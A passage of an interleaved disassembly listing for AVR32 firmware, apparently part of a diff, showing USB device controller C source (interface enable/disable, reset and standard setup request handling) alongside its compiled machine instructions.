9c mov r12,r6 +8000702c: e3 cd 80 c0 ldm sp++,r6-r7,pc +80007030: 80 00 ld.sh r0,r0[0x0] +80007032: 6f 40 ld.w r0,r7[0x50] + +80007034 : +/** + * \brief Change the address of device + * Callback called at the end of request set address + */ +static void udc_valid_address(void) +{ +80007034: d4 01 pushm lr + udd_set_address(udd_g_ctrlreq.req.wValue & 0x7F); +80007036: 48 48 lddpc r8,80007044 +80007038: 11 bc ld.ub r12,r8[0x3] +8000703a: f9 dc c0 07 bfextu r12,r12,0x0,0x7 +8000703e: f0 1f 00 03 mcall 80007048 +} +80007042: d8 02 popm pc +80007044: 00 00 add r0,r0 +80007046: 04 28 rsub r8,r2 +80007048: 80 00 ld.sh r0,r0[0x0] +8000704a: 32 02 mov r2,32 + +8000704c : + * \param setting_num Setting number to enable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_enable(uint8_t iface_num, uint8_t setting_num) +{ +8000704c: eb cd 40 e0 pushm r5-r7,lr +80007050: 18 95 mov r5,r12 + // Select the interface descriptor + if (!udc_update_iface_desc(iface_num, setting_num)) +80007052: f0 1f 00 12 mcall 80007098 +80007056: c1 f0 breq 80007094 + +#if (0!=USB_DEVICE_MAX_EP) + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + + // Start at the beginning of the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; +80007058: 49 18 lddpc r8,8000709c +8000705a: 70 07 ld.w r7,r8[0x0] + while (1) { + // Search Endpoint descriptor included in the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) +8000705c: 30 56 mov r6,5 +8000705e: 0c 9b mov r11,r6 +80007060: 0e 9c mov r12,r7 +80007062: f0 1f 00 10 mcall 800070a0 +80007066: 18 97 mov r7,r12 + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) +80007068: c0 d0 breq 80007082 + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, + ep_desc->bmAttributes, + le16_to_cpu +8000706a: 19 ca ld.ub r10,r12[0x4] +8000706c: 19 d8 ld.ub r8,r12[0x5] +8000706e: f1 ea 10 8a or r10,r8,r10<<0x8 +80007072: 5c ca swap.bh r10 + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, +80007074: 5c 7a castu.h r10 +80007076: 19 bb ld.ub r11,r12[0x3] +80007078: 19 ac ld.ub r12,r12[0x2] +8000707a: f0 1f 00 0b mcall 800070a4 +8000707e: cf 01 brne 8000705e +80007080: c0 a8 rjmp 80007094 + (ep_desc->wMaxPacketSize))) + return false; + } +#endif + // Enable the interface + return udc_ptr_conf->udi_apis[iface_num]->enable(); +80007082: 48 a8 lddpc r8,800070a8 +80007084: 70 08 ld.w r8,r8[0x0] +80007086: 70 18 ld.w r8,r8[0x4] +80007088: f0 05 03 28 ld.w r8,r8[r5<<0x2] +8000708c: 70 0c ld.w r12,r8[0x0] +8000708e: 5d 1c icall r12 +80007090: e3 cd 80 e0 ldm sp++,r5-r7,pc +80007094: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80007098: 80 00 ld.sh r0,r0[0x0] +8000709a: 6f 60 ld.w r0,r7[0x58] +8000709c: 00 00 add r0,r0 +8000709e: 01 f4 ld.ub r4,r0[0x7] +800070a0: 80 00 ld.sh r0,r0[0x0] +800070a2: 6f e4 ld.w r4,r7[0x78] +800070a4: 80 00 ld.sh r0,r0[0x0] +800070a6: 33 b8 mov r8,59 +800070a8: 00 00 add r0,r0 +800070aa: 01 e8 ld.ub r8,r0[0x6] + +800070ac : + * \param iface_num Interface number to disable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_disable(uint8_t iface_num) +{ +800070ac: eb cd 40 e0 pushm r5-r7,lr +800070b0: 18 96 mov r6,r12 + udi_api_t UDC_DESC_STORAGE *udi_api; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) +800070b2: 18 97 mov r7,r12 +800070b4: 30 0b mov r11,0 +800070b6: f0 1f 00 12 mcall 800070fc +800070ba: c1 e0 breq 800070f6 + return false; + + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; +800070bc: 49 18 lddpc r8,80007100 +800070be: 70 08 ld.w r8,r8[0x0] +800070c0: 70 18 ld.w r8,r8[0x4] +800070c2: f0 06 03 25 ld.w r5,r8[r6<<0x2] + +#if (0!=USB_DEVICE_MAX_EP) + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) +800070c6: 6a 3c ld.w r12,r5[0xc] +800070c8: 5d 1c icall r12 +800070ca: 18 9b mov r11,r12 +800070cc: 0c 9c mov r12,r6 +800070ce: f0 1f 00 0c mcall 800070fc +800070d2: c1 20 breq 800070f6 + return false; + + // Start at the beginning of interface descriptor + { + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; +800070d4: 48 c8 lddpc r8,80007104 +800070d6: 70 07 ld.w r7,r8[0x0] + while (1) { + // Search Endpoint descriptor included in global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) +800070d8: 30 56 mov r6,5 +800070da: 0c 9b mov r11,r6 +800070dc: 0e 9c mov r12,r7 +800070de: f0 1f 00 0b mcall 80007108 +800070e2: 18 97 mov r7,r12 + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) + ep_desc, USB_DT_ENDPOINT); + if (NULL == ep_desc) +800070e4: c0 50 breq 800070ee + break; + // Free the endpoint used by the interface + udd_ep_free(ep_desc->bEndpointAddress); +800070e6: 19 ac ld.ub r12,r12[0x2] +800070e8: f0 1f 00 09 mcall 8000710c + } +800070ec: cf 7b rjmp 800070da + } +#endif + + // Disable interface + udi_api->disable(); +800070ee: 6a 18 ld.w r8,r5[0x4] +800070f0: 5d 18 icall r8 +800070f2: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 + return true; +800070f6: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +800070fa: 00 00 add r0,r0 +800070fc: 80 00 ld.sh r0,r0[0x0] +800070fe: 6f 60 ld.w r0,r7[0x58] +80007100: 00 00 add r0,r0 +80007102: 01 e8 ld.ub r8,r0[0x6] +80007104: 00 00 add r0,r0 +80007106: 01 f4 ld.ub r4,r0[0x7] +80007108: 80 00 ld.sh r0,r0[0x0] +8000710a: 6f e4 ld.w r4,r7[0x78] +8000710c: 80 00 ld.sh r0,r0[0x0] +8000710e: 33 88 mov r8,56 + +80007110 : +/** + * \brief Reset the current configuration of the USB device, + * This routines can be called by UDD when a RESET on the USB line occurs. + */ +void udc_reset(void) +{ +80007110: eb cd 40 c0 pushm r6-r7,lr + uint8_t iface_num; + + if (udc_num_configuration) { +80007114: 49 68 lddpc r8,8000716c +80007116: 11 89 ld.ub r9,r8[0x0] +80007118: 30 08 mov r8,0 +8000711a: f0 09 18 00 cp.b r9,r8 +8000711e: c1 70 breq 8000714c + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; +80007120: 49 48 lddpc r8,80007170 +80007122: 70 08 ld.w r8,r8[0x0] +80007124: 70 08 ld.w r8,r8[0x0] +80007126: 11 c9 ld.ub r9,r8[0x4] +80007128: 30 08 mov r8,0 +8000712a: f0 09 18 00 cp.b r9,r8 +8000712e: c0 f0 breq 8000714c +80007130: 30 07 mov r7,0 +80007132: 49 06 lddpc r6,80007170 + iface_num++) { + udc_iface_disable(iface_num); +80007134: 0e 9c mov r12,r7 +80007136: f0 1f 00 10 mcall 80007174 + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { +8000713a: 2f f7 sub r7,-1 +8000713c: 5c 57 castu.b r7 +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; +8000713e: 6c 08 ld.w r8,r6[0x0] +80007140: 70 08 ld.w r8,r8[0x0] +80007142: 11 c8 ld.ub r8,r8[0x4] +80007144: ee 08 18 00 cp.b r8,r7 +80007148: fe 9b ff f6 brhi 80007134 + iface_num++) { + udc_iface_disable(iface_num); + } + } + udc_num_configuration = 0; +8000714c: 30 09 mov r9,0 +8000714e: 48 88 lddpc r8,8000716c +80007150: b0 89 st.b r8[0x0],r9 +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + if (0 != (CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP) & udc_device_status)) { +80007152: 48 a8 lddpc r8,80007178 +80007154: 90 88 ld.uh r8,r8[0x0] +80007156: e2 18 02 00 andl r8,0x200,COH +8000715a: c0 30 breq 80007160 + // Remote wakeup is enabled then disable it + UDC_REMOTEWAKEUP_DISABLE(); +8000715c: f0 1f 00 08 mcall 8000717c + } +#endif + udc_device_status = +80007160: 30 09 mov r9,0 +80007162: 48 68 lddpc r8,80007178 +80007164: b0 09 st.h r8[0x0],r9 +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) + CPU_TO_LE16(USB_DEV_STATUS_SELF_POWERED); +#else + CPU_TO_LE16(USB_DEV_STATUS_BUS_POWERED); +#endif +} +80007166: e3 cd 80 c0 ldm sp++,r6-r7,pc +8000716a: 00 00 add r0,r0 +8000716c: 00 00 add r0,r0 +8000716e: 01 f2 ld.ub r2,r0[0x7] +80007170: 00 00 add r0,r0 +80007172: 01 e8 ld.ub r8,r0[0x6] +80007174: 80 00 ld.sh r0,r0[0x0] +80007176: 70 ac ld.w r12,r8[0x28] +80007178: 00 00 add r0,r0 +8000717a: 01 f0 ld.ub r0,r0[0x7] +8000717c: 80 00 ld.sh r0,r0[0x0] +8000717e: 76 60 ld.w r0,r11[0x18] + +80007180 : + * sent to a specific application callback. + * + * \return true if the request is supported, else the request is stalled by UDD + */ +bool udc_process_setup(void) +{ +80007180: eb cd 40 e0 pushm r5-r7,lr + // By default no data (receive/send) and no callbacks registered + udd_g_ctrlreq.payload_size = 0; +80007184: fe f8 04 7c ld.w r8,pc[1148] +80007188: 30 09 mov r9,0 +8000718a: b0 69 st.h r8[0xc],r9 + udd_g_ctrlreq.callback = NULL; +8000718c: 30 0a mov r10,0 +8000718e: 91 4a st.w r8[0x10],r10 + udd_g_ctrlreq.over_under_run = NULL; +80007190: 91 5a st.w r8[0x14],r10 + + if (Udd_setup_is_in()) { +80007192: 11 88 ld.ub r8,r8[0x0] +80007194: 10 9a mov r10,r8 +80007196: f2 08 18 00 cp.b r8,r9 +8000719a: c0 94 brge 800071ac + if (udd_g_ctrlreq.req.wLength == 0) +8000719c: fe f9 04 64 ld.w r9,pc[1124] +800071a0: 92 3b ld.sh r11,r9[0x6] +800071a2: 30 09 mov r9,0 +800071a4: f2 0b 19 00 cp.h r11,r9 +800071a8: e0 80 02 2a breq 800075fc + return false; // Error from USB host + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { +800071ac: 10 99 mov r9,r8 +800071ae: e2 19 00 60 andl r9,0x60,COH +800071b2: e0 81 01 f9 brne 800075a4 + * + * \return true if the request is supported + */ +static bool udc_reqstd(void) +{ + if (Udd_setup_is_in()) { +800071b6: f2 0a 18 00 cp.b r10,r9 +800071ba: e0 84 01 06 brge 800073c6 + // GET Standard Requests + if (udd_g_ctrlreq.req.wLength == 0) +800071be: fe f9 04 42 ld.w r9,pc[1090] +800071c2: 92 39 ld.sh r9,r9[0x6] +800071c4: 58 09 cp.w r9,0 +800071c6: e0 80 01 ef breq 800075a4 + return false; // Error for USB host + + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { +800071ca: f1 d8 c0 05 bfextu r8,r8,0x0,0x5 +800071ce: e0 81 00 a3 brne 80007314 + // Standard Get Device request + switch (udd_g_ctrlreq.req.bRequest) { +800071d2: fe fa 04 2e ld.w r10,pc[1070] +800071d6: 15 9a ld.ub r10,r10[0x1] +800071d8: 30 6b mov r11,6 +800071da: f6 0a 18 00 cp.b r10,r11 +800071de: c1 a0 breq 80007212 +800071e0: 30 8b mov r11,8 +800071e2: f6 0a 18 00 cp.b r10,r11 +800071e6: e0 80 00 88 breq 800072f6 +800071ea: 30 0b mov r11,0 +800071ec: f6 0a 18 00 cp.b r10,r11 +800071f0: e0 81 00 92 brne 80007314 + * + * \return true if success + */ +static bool udc_req_std_dev_get_status(void) +{ + if (udd_g_ctrlreq.req.wLength != sizeof(udc_device_status)) +800071f4: 30 28 mov r8,2 +800071f6: f0 09 19 00 cp.h r9,r8 +800071fa: c0 40 breq 80007202 +800071fc: 30 0c mov r12,0 +800071fe: e0 8f 01 cf bral 8000759c + return false; + + udd_set_setup_payload( +80007202: 30 2b mov r11,2 +80007204: fe fc 04 00 ld.w r12,pc[1024] +80007208: f0 1f 01 00 mcall 80007608 +8000720c: 30 1c mov r12,1 +8000720e: e0 8f 01 c7 bral 8000759c + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; +80007212: fe f8 03 ee ld.w r8,pc[1006] +80007216: 90 19 ld.sh r9,r8[0x2] + + // Check descriptor ID + switch ((uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { +80007218: f2 08 16 08 lsr r8,r9,0x8 +8000721c: 30 2a mov r10,2 +8000721e: f4 08 18 00 cp.b r8,r10 +80007222: c1 00 breq 80007242 +80007224: 30 3a mov r10,3 +80007226: f4 08 18 00 cp.b r8,r10 +8000722a: c2 a0 breq 8000727e +8000722c: 30 19 mov r9,1 +8000722e: f2 08 18 00 cp.b r8,r9 +80007232: c5 f1 brne 800072f0 + } else +#endif + { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_lsfs, + udc_config.confdev_lsfs->bLength); +80007234: fe f8 03 d8 ld.w r8,pc[984] +80007238: 70 0c ld.w r12,r8[0x0] + (uint8_t *) udc_config.confdev_hs, + udc_config.confdev_hs->bLength); + } else +#endif + { + udd_set_setup_payload( +8000723a: 19 8b ld.ub r11,r12[0x0] +8000723c: f0 1f 00 f3 mcall 80007608 +80007240: c4 78 rjmp 800072ce + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; +80007242: 5c 59 castu.b r9 + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else +#endif + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> +80007244: fe f8 03 c8 ld.w r8,pc[968] +80007248: 70 08 ld.w r8,r8[0x0] +8000724a: f1 38 00 11 ld.ub r8,r8[17] +8000724e: f2 08 18 00 cp.b r8,r9 +80007252: e0 88 00 4f brls 800072f0 + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); +80007256: fe f8 03 b6 ld.w r8,pc[950] +8000725a: 70 18 ld.w r8,r8[0x4] +8000725c: f0 09 03 3c ld.w r12,r8[r9<<0x3] +80007260: 19 a9 ld.ub r9,r12[0x2] +80007262: 19 b8 ld.ub r8,r12[0x3] +80007264: f1 e9 10 88 or r8,r8,r9<<0x8 +80007268: 5c c8 swap.bh r8 + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( +8000726a: f7 d8 c0 10 bfextu r11,r8,0x0,0x10 +8000726e: f0 1f 00 e7 mcall 80007608 + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = +80007272: fe f8 03 8e ld.w r8,pc[910] +80007276: 70 28 ld.w r8,r8[0x8] +80007278: 30 29 mov r9,2 +8000727a: b0 99 st.b r8[0x1],r9 +8000727c: c2 98 rjmp 800072ce + uint8_t i; + uint8_t *str; + uint8_t str_lgt=0; + + // Link payload pointer to the string corresponding at request + switch (udd_g_ctrlreq.req.wValue & 0xff) { +8000727e: 5c 59 castu.b r9 +80007280: 58 19 cp.w r9,1 +80007282: c1 00 breq 800072a2 +80007284: 58 29 cp.w r9,2 +80007286: c0 40 breq 8000728e +80007288: 58 09 cp.w r9,0 +8000728a: c0 60 breq 80007296 +8000728c: c3 28 rjmp 800072f0 +8000728e: fe fc 03 82 ld.w r12,pc[898] +80007292: 30 cb mov r11,12 +80007294: c0 a8 rjmp 800072a8 + case 0: + udd_set_setup_payload( +80007296: 30 4b mov r11,4 +80007298: fe fc 03 7c ld.w r12,pc[892] +8000729c: f0 1f 00 db mcall 80007608 +800072a0: c1 78 rjmp 800072ce +800072a2: fe fc 03 76 ld.w r12,pc[886] +800072a6: 30 ab mov r11,10 +800072a8: fe fa 03 74 ld.w r10,pc[884] +800072ac: 2f ea sub r10,-2 +800072ae: 18 98 mov r8,r12 + return false; + } + + if (str_lgt != 0) { + for(i = 0; i < str_lgt; i++) { + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); +800072b0: 11 39 ld.ub r9,r8++ +800072b2: 5c c9 swap.bh r9 +800072b4: 14 b9 st.h r10++,r9 +#endif + return false; + } + + if (str_lgt != 0) { + for(i = 0; i < str_lgt; i++) { +800072b6: f0 0c 01 09 sub r9,r8,r12 +800072ba: f6 09 18 00 cp.b r9,r11 +800072be: cf 93 brcs 800072b0 + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); + } + + udc_string_desc.header.bLength = 2 + (str_lgt) * 2; +800072c0: a1 7b lsl r11,0x1 +800072c2: 2f eb sub r11,-2 +800072c4: fe fc 03 58 ld.w r12,pc[856] +800072c8: b8 8b st.b r12[0x0],r11 + udd_set_setup_payload( +800072ca: f0 1f 00 d0 mcall 80007608 + default: + // Unknown descriptor requested + return false; + } + // if the descriptor is larger than length requested, then reduce it + if (udd_g_ctrlreq.req.wLength < udd_g_ctrlreq.payload_size) +800072ce: fe f8 03 32 ld.w r8,pc[818] +800072d2: 90 39 ld.sh r9,r8[0x6] +800072d4: 90 68 ld.sh r8,r8[0xc] +800072d6: f2 08 19 00 cp.h r8,r9 +800072da: e0 8b 00 05 brhi 800072e4 +800072de: 30 1c mov r12,1 +800072e0: e0 8f 01 5e bral 8000759c + udd_g_ctrlreq.payload_size = udd_g_ctrlreq.req.wLength; +800072e4: fe f8 03 1c ld.w r8,pc[796] +800072e8: b0 69 st.h r8[0xc],r9 +800072ea: 30 1c mov r12,1 +800072ec: e0 8f 01 58 bral 8000759c +800072f0: 30 0c mov r12,0 +800072f2: e0 8f 01 55 bral 8000759c + * + * \return true if success + */ +static bool udc_req_std_dev_get_configuration(void) +{ + if (udd_g_ctrlreq.req.wLength != 1) +800072f6: 30 18 mov r8,1 +800072f8: f0 09 19 00 cp.h r9,r8 +800072fc: c0 40 breq 80007304 +800072fe: 30 0c mov r12,0 +80007300: e0 8f 01 4e bral 8000759c + return false; + + udd_set_setup_payload(&udc_num_configuration,1); +80007304: 30 1b mov r11,1 +80007306: fe fc 03 1a ld.w r12,pc[794] +8000730a: f0 1f 00 c0 mcall 80007608 +8000730e: 30 1c mov r12,1 +80007310: e0 8f 01 46 bral 8000759c + case USB_REQ_GET_CONFIGURATION: + return udc_req_std_dev_get_configuration(); + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { +80007314: 58 18 cp.w r8,1 +80007316: c3 61 brne 80007382 + // Standard Get Interface request + switch (udd_g_ctrlreq.req.bRequest) { +80007318: fe fa 02 e8 ld.w r10,pc[744] +8000731c: 15 9b ld.ub r11,r10[0x1] +8000731e: 30 aa mov r10,10 +80007320: f4 0b 18 00 cp.b r11,r10 +80007324: c2 f1 brne 80007382 +{ + static uint8_t udc_iface_setting; + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (udd_g_ctrlreq.req.wLength != 1) +80007326: f0 09 19 00 cp.h r9,r8 +8000732a: c2 a1 brne 8000737e + return false; // Error in request + if (!udc_num_configuration) +8000732c: fe f8 02 f4 ld.w r8,pc[756] +80007330: 11 89 ld.ub r9,r8[0x0] +80007332: 30 08 mov r8,0 +80007334: f0 09 18 00 cp.b r9,r8 +80007338: c2 30 breq 8000737e + return false; // The device is not is configured state yet + + // Check the interface number included in the request + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; +8000733a: fe f8 02 c6 ld.w r8,pc[710] +8000733e: 11 d7 ld.ub r7,r8[0x5] + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) +80007340: fe f8 02 e4 ld.w r8,pc[740] +80007344: 70 08 ld.w r8,r8[0x0] +80007346: 70 08 ld.w r8,r8[0x0] +80007348: 11 c8 ld.ub r8,r8[0x4] +8000734a: ee 08 18 00 cp.b r8,r7 +8000734e: e0 88 00 18 brls 8000737e + return false; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) +80007352: 30 0b mov r11,0 +80007354: 0e 9c mov r12,r7 +80007356: f0 1f 00 b5 mcall 80007628 +8000735a: c1 20 breq 8000737e + return false; + // Get alternate setting from UDI + udi_api = udc_ptr_conf->udi_apis[iface_num]; + udc_iface_setting = udi_api->getsetting(); +8000735c: fe f8 02 c8 ld.w r8,pc[712] +80007360: 70 08 ld.w r8,r8[0x0] +80007362: 70 18 ld.w r8,r8[0x4] +80007364: f0 07 03 28 ld.w r8,r8[r7<<0x2] +80007368: 70 3c ld.w r12,r8[0xc] +8000736a: 5d 1c icall r12 +8000736c: fe f8 02 c0 ld.w r8,pc[704] +80007370: b0 8c st.b r8[0x0],r12 + // Link value to payload pointer of request + udd_set_setup_payload(&udc_iface_setting,1); +80007372: 30 1b mov r11,1 +80007374: 10 9c mov r12,r8 +80007376: f0 1f 00 a5 mcall 80007608 +8000737a: 30 1c mov r12,1 +8000737c: c1 09 rjmp 8000759c +8000737e: 30 0c mov r12,0 +80007380: c0 e9 rjmp 8000759c + case USB_REQ_GET_INTERFACE: + return udc_req_std_iface_get_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { +80007382: 58 28 cp.w r8,2 +80007384: e0 81 01 10 brne 800075a4 + // Standard Get Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { +80007388: fe f8 02 78 ld.w r8,pc[632] +8000738c: 11 9a ld.ub r10,r8[0x1] +8000738e: 30 08 mov r8,0 +80007390: f0 0a 18 00 cp.b r10,r8 +80007394: e0 81 01 03 brne 8000759a + */ +static bool udc_req_std_ep_get_status(void) +{ + static le16_t udc_ep_status; + + if (udd_g_ctrlreq.req.wLength != sizeof(udc_ep_status)) +80007398: 30 28 mov r8,2 +8000739a: f0 09 19 00 cp.h r9,r8 +8000739e: c0 30 breq 800073a4 +800073a0: 30 0c mov r12,0 +800073a2: cf d8 rjmp 8000759c + return false; + + udc_ep_status = udd_ep_is_halted(udd_g_ctrlreq.req. +800073a4: fe f8 02 5c ld.w r8,pc[604] +800073a8: 11 dc ld.ub r12,r8[0x5] +800073aa: f0 1f 00 a2 mcall 80007630 +800073ae: e0 68 01 00 mov r8,256 +800073b2: f9 b8 00 00 moveq r8,0 +800073b6: fe fc 02 7e ld.w r12,pc[638] +800073ba: b8 08 st.h r12[0x0],r8 + wIndex & 0xFF) ? CPU_TO_LE16(USB_EP_STATUS_HALTED) : 0; + + udd_set_setup_payload( +800073bc: 30 2b mov r11,2 +800073be: f0 1f 00 93 mcall 80007608 +800073c2: 30 1c mov r12,1 +800073c4: ce c8 rjmp 8000759c + } + } +#endif + } else { + // SET Standard Requests + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { +800073c6: f1 d8 c0 05 bfextu r8,r8,0x0,0x5 +800073ca: e0 81 00 92 brne 800074ee + // Standard Set Device request + switch (udd_g_ctrlreq.req.bRequest) { +800073ce: fe f9 02 32 ld.w r9,pc[562] +800073d2: 13 99 ld.ub r9,r9[0x1] +800073d4: 30 3a mov r10,3 +800073d6: f4 09 18 00 cp.b r9,r10 +800073da: c3 70 breq 80007448 +800073dc: e0 8b 00 08 brhi 800073ec +800073e0: 30 1a mov r10,1 +800073e2: f4 09 18 00 cp.b r9,r10 +800073e6: e0 81 00 84 brne 800074ee +800073ea: c1 98 rjmp 8000741c +800073ec: 30 5a mov r10,5 +800073ee: f4 09 18 00 cp.b r9,r10 +800073f2: c0 60 breq 800073fe +800073f4: 30 9a mov r10,9 +800073f6: f4 09 18 00 cp.b r9,r10 +800073fa: c7 a1 brne 800074ee +800073fc: c3 c8 rjmp 80007474 + * + * \return true if success + */ +static bool udc_req_std_dev_set_address(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) +800073fe: fe f8 02 02 ld.w r8,pc[514] +80007402: 90 39 ld.sh r9,r8[0x6] +80007404: 30 08 mov r8,0 +80007406: f0 09 19 00 cp.h r9,r8 +8000740a: c0 30 breq 80007410 +8000740c: 30 0c mov r12,0 +8000740e: cc 78 rjmp 8000759c + return false; + + // The address must be changed at the end of setup request after the handshake + // then we use a callback to change address + udd_g_ctrlreq.callback = udc_valid_address; +80007410: fe f9 02 28 ld.w r9,pc[552] +80007414: 4f b8 lddpc r8,80007600 +80007416: 91 49 st.w r8[0x10],r9 +80007418: 30 1c mov r12,1 +8000741a: cc 18 rjmp 8000759c + * + * \return true if success + */ +static bool udc_req_std_dev_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) +8000741c: 4f 98 lddpc r8,80007600 +8000741e: 90 39 ld.sh r9,r8[0x6] +80007420: 30 08 mov r8,0 +80007422: f0 09 19 00 cp.h r9,r8 +80007426: c0 f1 brne 80007444 + return false; + + if (udd_g_ctrlreq.req.wValue == USB_DEV_FEATURE_REMOTE_WAKEUP) { +80007428: 4f 68 lddpc r8,80007600 +8000742a: 90 19 ld.sh r9,r8[0x2] +8000742c: 30 18 mov r8,1 +8000742e: f0 09 19 00 cp.h r9,r8 +80007432: c0 91 brne 80007444 + udc_device_status &= CPU_TO_LE16(~USB_DEV_STATUS_REMOTEWAKEUP); +80007434: 4f 48 lddpc r8,80007604 +80007436: 90 09 ld.sh r9,r8[0x0] +80007438: a9 d9 cbr r9,0x9 +8000743a: b0 09 st.h r8[0x0],r9 +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + UDC_REMOTEWAKEUP_DISABLE(); +8000743c: f0 1f 00 80 mcall 8000763c +80007440: 30 1c mov r12,1 +80007442: ca d8 rjmp 8000759c +80007444: 30 0c mov r12,0 +80007446: ca b8 rjmp 8000759c + * + * \return true if success + */ +static bool udc_req_std_dev_set_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) +80007448: 4e e8 lddpc r8,80007600 +8000744a: 90 39 ld.sh r9,r8[0x6] +8000744c: 30 08 mov r8,0 +8000744e: f0 09 19 00 cp.h r9,r8 +80007452: c0 f1 brne 80007470 + return false; + + switch (udd_g_ctrlreq.req.wValue) { +80007454: 4e b8 lddpc r8,80007600 +80007456: 90 19 ld.sh r9,r8[0x2] +80007458: 30 18 mov r8,1 +8000745a: f0 09 19 00 cp.h r9,r8 +8000745e: c0 91 brne 80007470 + + case USB_DEV_FEATURE_REMOTE_WAKEUP: +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + udc_device_status |= CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP); +80007460: 4e 98 lddpc r8,80007604 +80007462: 90 09 ld.sh r9,r8[0x0] +80007464: a9 b9 sbr r9,0x9 +80007466: b0 09 st.h r8[0x0],r9 + UDC_REMOTEWAKEUP_ENABLE(); +80007468: f0 1f 00 76 mcall 80007640 +8000746c: 30 1c mov r12,1 +8000746e: c9 78 rjmp 8000759c +80007470: 30 0c mov r12,0 +80007472: c9 58 rjmp 8000759c +static bool udc_req_std_dev_set_configuration(void) +{ + uint8_t iface_num; + + // Check request length + if (udd_g_ctrlreq.req.wLength != 0) +80007474: 4e 38 lddpc r8,80007600 +80007476: 90 39 ld.sh r9,r8[0x6] +80007478: 30 08 mov r8,0 +8000747a: f0 09 19 00 cp.h r9,r8 +8000747e: c3 41 brne 800074e6 + return false; + // Authorize configuration only if the address is valid + if (!udd_getaddress()) +80007480: f0 1f 00 71 mcall 80007644 +80007484: c3 10 breq 800074e6 + return false; + } else +#endif + { + // FS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > +80007486: 4d f8 lddpc r8,80007600 +80007488: 11 b9 ld.ub r9,r8[0x3] +8000748a: 4e 18 lddpc r8,8000760c +8000748c: 70 08 ld.w r8,r8[0x0] +8000748e: f1 38 00 11 ld.ub r8,r8[17] +80007492: 10 39 cp.w r9,r8 +80007494: e0 89 00 29 brgt 800074e6 + udc_config.confdev_lsfs->bNumConfigurations) + return false; + } + + // Reset current configuration + udc_reset(); +80007498: f0 1f 00 6c mcall 80007648 + + // Enable new configuration + udc_num_configuration = udd_g_ctrlreq.req.wValue & 0xFF; +8000749c: 4d 98 lddpc r8,80007600 +8000749e: 11 b8 ld.ub 